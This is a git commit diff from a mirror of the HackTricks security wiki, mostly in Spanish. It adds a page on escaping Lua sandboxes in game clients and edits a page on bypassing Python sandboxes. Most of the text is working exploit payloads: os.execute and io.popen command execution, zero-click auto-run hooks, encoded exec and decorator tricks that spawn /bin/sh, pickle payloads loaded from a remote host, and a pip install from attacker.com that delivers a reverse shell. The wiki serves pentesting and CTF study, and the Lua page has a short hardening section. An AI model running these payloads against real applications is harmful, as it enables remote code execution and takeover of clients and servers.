mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/lua/bypass-lua-sand
This commit is contained in:
parent
c5968870bd
commit
601da43291
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -926,13 +928,4 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
|
||||
|
@ -0,0 +1,115 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página recopila técnicas prácticas para enumerar y escapar de "sandboxes" de Lua embebidos en aplicaciones (notablemente game clients, plugins o in-app scripting engines). Muchos engines exponen un entorno Lua restringido, pero dejan globals potentes alcanzables que permiten ejecución arbitraria de comandos o incluso corrupción nativa de memoria cuando los bytecode loaders están expuestos.
|
||||
|
||||
Ideas clave:
|
||||
- Trata la VM como un entorno desconocido: enumera _G y descubre qué primitivas peligrosas están accesibles.
|
||||
- Cuando stdout/print está bloqueado, abusa de cualquier canal de UI/IPC dentro de la VM como un sumidero de salida para observar resultados.
|
||||
- Si io/os está expuesto, a menudo tienes ejecución directa de comandos (io.popen, os.execute).
|
||||
- Si load/loadstring/loadfile están expuestos, ejecutar bytecode de Lua creado puede subvertir la seguridad de memoria en algunas versiones (≤5.1 los verificadores son evadibles; 5.2 eliminó el verificador), habilitando explotación avanzada.
|
||||
|
||||
## Enumerar el entorno sandboxed
|
||||
|
||||
- Vuelca el entorno global para inventariar tablas/funciones alcanzables:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Si no hay print() disponible, reutiliza canales in-VM. Ejemplo de una VM de script de housing de un MMO donde la salida del chat solo funciona después de una llamada de sonido; lo siguiente construye una función de salida fiable:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Generaliza este patrón para tu target: cualquier textbox, toast, logger o UI callback que acepte strings puede actuar como stdout para reconnaissance.
|
||||
|
||||
## Ejecución directa de comandos si io/os está expuesto
|
||||
|
||||
Si el sandbox todavía expone las bibliotecas estándar io or os, probablemente tengas ejecución de comandos inmediata:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Notas:
|
||||
- La ejecución ocurre dentro del proceso del cliente; muchas capas anti-cheat/antidebug que bloquean external debuggers no impedirán la creación de procesos in-VM.
|
||||
- Revisa también: package.loadlib (carga arbitraria de DLL/.so), require con módulos nativos, LuaJIT's ffi (si está presente), y la debug library (puede elevar privilegios dentro de la VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
Si la aplicación host envía scripts a los clientes y la VM expone auto-run hooks (p. ej., OnInit/OnLoad/OnEnter), coloca tu payload allí para drive-by compromise tan pronto como se cargue el script:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Cualquier callback equivalente (OnLoad, OnEnter, etc.) generaliza esta técnica cuando los scripts se transmiten y se ejecutan automáticamente en el cliente.
|
||||
|
||||
## Dangerous primitives to hunt during recon
|
||||
|
||||
Durante la enumeración de _G, busca específicamente:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: ejecutar código fuente o bytecode; admite cargar bytecode no confiable.
|
||||
- package, package.loadlib, require: carga dinámica de librerías y la interfaz del módulo.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- Solo LuaJIT: ffi.cdef, ffi.load para llamar a código nativo directamente.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Escalada opcional: abuso de los cargadores de bytecode de Lua
|
||||
|
||||
Cuando load/loadstring/loadfile son alcanzables pero io/os están restringidos, la ejecución de bytecode de Lua creado puede conducir a divulgación de memoria y primitivas de corrupción. Datos clave:
|
||||
- Lua ≤ 5.1 incluía un bytecode verifier que tiene bypasses conocidos.
|
||||
- Lua 5.2 eliminó el verifier por completo (postura oficial: las aplicaciones deberían simplemente rechazar los precompiled chunks), ampliando la superficie de ataque si la carga de bytecode no está prohibida.
|
||||
- Workflows típicos: leak pointers vía in-VM output, craft bytecode para crear type confusions (p. ej., alrededor de FORLOOP u otros opcodes), y luego pivotar a arbitrary read/write o native code execution.
|
||||
|
||||
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
|
||||
|
||||
## Notas de detección y hardening (para defensores)
|
||||
|
||||
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: run Lua con un _ENV mínimo, forbid bytecode loading, reintroduce un strict bytecode verifier o signature checks, y bloquear la creación de procesos desde el proceso cliente.
|
||||
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate con UI/chat/script events.
|
||||
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,11 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Estos son algunos trucos para bypass las protecciones de sandbox de python y ejecutar comandos arbitrarios.
|
||||
Estos son algunos trucos para evadir las protecciones de sandboxes de python y ejecutar comandos arbitrarios.
|
||||
|
||||
## Bibliotecas de ejecución de comandos
|
||||
|
||||
Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si podrías importar cualquiera de estas librerías:
|
||||
## Command Execution Libraries
|
||||
|
||||
Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si puedes importar cualquiera de estas librerías:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del python sandbox y para **escribir algo de código** que podrías **ejecutar** para **bypass** el sandbox.
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de python y para **escribir algún código** que podrías **ejecutar** para **bypass** el sandbox.
|
||||
|
||||
> [!CAUTION] > La función **Python2 input()** permite ejecutar código python antes de que el programa falle.
|
||||
|
||||
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde python está cargando los módulos): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos python): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
## Bypass pickle sandbox con los paquetes python instalados por defecto
|
||||
|
||||
### Paquetes por defecto
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
|
||||
For example, the following pickle, when loaded, is going to import the pip library to use it:
|
||||
Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe librerías arbitrarias** instaladas en el sistema.\
|
||||
Por ejemplo, el siguiente pickle, cuando se cargue, va a importar la librería pip para usarla:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,9 +67,9 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Para más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Para más información sobre cómo funciona pickle consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Paquete pip
|
||||
### Pip package
|
||||
|
||||
Truco compartido por **@isHaacK**
|
||||
|
||||
@ -77,21 +78,21 @@ Si tienes acceso a `pip` o `pip.main()` puedes instalar un paquete arbitrario y
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puedes descargar el paquete para crear la reverse shell aquí. Ten en cuenta que antes de usarlo debes **descomprimirlo, modificar el `setup.py`, y poner tu IP para la reverse shell**:
|
||||
Puedes descargar el package para crear el reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py`, y poner tu IP para el reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas de la reverse shell el resto de la instalación falle, por lo que **no dejarás ningún paquete python adicional instalado en el servidor** cuando te vayas.
|
||||
> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas del reverse shell el resto de la instalación fallará, por lo que **no dejarás ningún python package adicional instalado en el servidor** cuando te vayas.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que exec permite cadenas multilínea y ";", pero eval no (revisa walrus operator)
|
||||
> Ten en cuenta que exec permite multiline strings y ";", pero eval no (revisa walrus operator)
|
||||
|
||||
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
|
||||
Si ciertos caracteres están prohibidos puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Vea también un escape real de un evaluador sandboxed en generadores de PDF:
|
||||
También ver un escape real de un sandboxed evaluator en generadores de PDF:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcanzar function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener estable el renderizado.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para acceder a function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener el renderizado estable.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
## Evasión de protecciones mediante codificaciones (UTF-7)
|
||||
|
||||
En [**esta writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
|
||||
En [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,13 +157,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
También es posible sortearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
|
||||
También es posible bypassearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.
|
||||
|
||||
## Ejecución de Python sin llamadas
|
||||
|
||||
Si estás dentro de un python jail que **no te permite realizar llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.
|
||||
Si estás dentro de una python jail que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones arbitrarias, código** y **comandos**.
|
||||
|
||||
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creando objetos y sobrecarga
|
||||
### RCE creating objects and overloading
|
||||
|
||||
Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesidad de llamarlos directamente**.
|
||||
Si puedes **declare a class** y **create an object** de esa class, podrías **write/overwrite different methods** que pueden ser **triggered** **without** **needing to call them directly**.
|
||||
|
||||
#### RCE con clases personalizadas
|
||||
#### RCE with custom classes
|
||||
|
||||
Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para que **ejecuten código arbitrario** cuando se **activen** sin llamarlos directamente.
|
||||
Puedes modificar algunos **class methods** (_by overwriting existing class methods or creating a new class_) para hacer que **execute arbitrary code** cuando sean **triggered** sin llamarlos directamente.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Creando objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Lo principal que nos permiten hacer las metaclases es **crear una instancia de una clase, sin llamar directamente al constructor**, al crear una nueva clase con la clase objetivo como metaclase.
|
||||
Lo importante es que las metaclasses nos permiten **crear una instancia de una clase sin llamar directamente al constructor**, creando una nueva clase con la clase objetivo como metaclase.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Creación de objetos con exceptions
|
||||
#### Creación de objetos con excepciones
|
||||
|
||||
Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que necesites llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que tengas que llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leer archivo con builtins help & license
|
||||
### Leer archivo con la ayuda y la licencia de builtins
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,7 +316,7 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (nota que también podrías usar aquí otras representaciones en string mostradas en la última sección):
|
||||
Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (observa que también podrías usar aquí otra representación de string mostrada en la última sección):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
@ -323,7 +324,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
### Sin Builtins
|
||||
|
||||
Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos, ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos están **también importando funcionalidades peligrosas** en su interior que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
|
||||
Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** en su interior a las que se puede acceder para lograr incluso **ejecución arbitraria de código**.
|
||||
|
||||
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
|
||||
|
||||
@ -367,9 +368,9 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **builtins**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar las **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
#### Python2 y Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
@ -383,9 +384,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globals y locals
|
||||
|
||||
Comprobar las **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
|
||||
Comprobar los **`globals`** y **`locals`** es una buena forma de saber a qué puedes acceder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar las **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
|
||||
## Descubrir ejecución arbitraria
|
||||
|
||||
Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligrosas cargadas** y proponer exploits más fiables.
|
||||
|
||||
#### Accediendo a subclasses con bypasses
|
||||
#### Accediendo a subclases con bypasses
|
||||
|
||||
Una de las partes más sensibles de esta técnica es poder **access the base subclasses**. En los ejemplos previos esto se hizo usando `''.__class__.__base__.__subclasses__()` pero existen **otras posibles formas**:
|
||||
Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()` pero hay **otras formas posibles**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -445,9 +446,9 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Encontrar bibliotecas peligrosas cargadas
|
||||
### Encontrar librerías peligrosas cargadas
|
||||
|
||||
Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **modules loaded that have imported sys inside of them**:
|
||||
Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **módulos cargados que hayan importado `sys` dentro de ellos**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
@ -456,7 +457,7 @@ Hay muchos, y **solo necesitamos uno** para ejecutar comandos:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Podemos hacer lo mismo con **otras librerías** que sabemos que se pueden usar para **ejecutar comandos**:
|
||||
Podemos hacer lo mismo con **otras librerías** que sabemos que pueden usarse para **ejecutar comandos**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +492,7 @@ Podemos hacer lo mismo con **otras librerías** que sabemos que se pueden usar p
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas:
|
||||
Además, podríamos incluso buscar qué módulos están cargando bibliotecas maliciosas:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
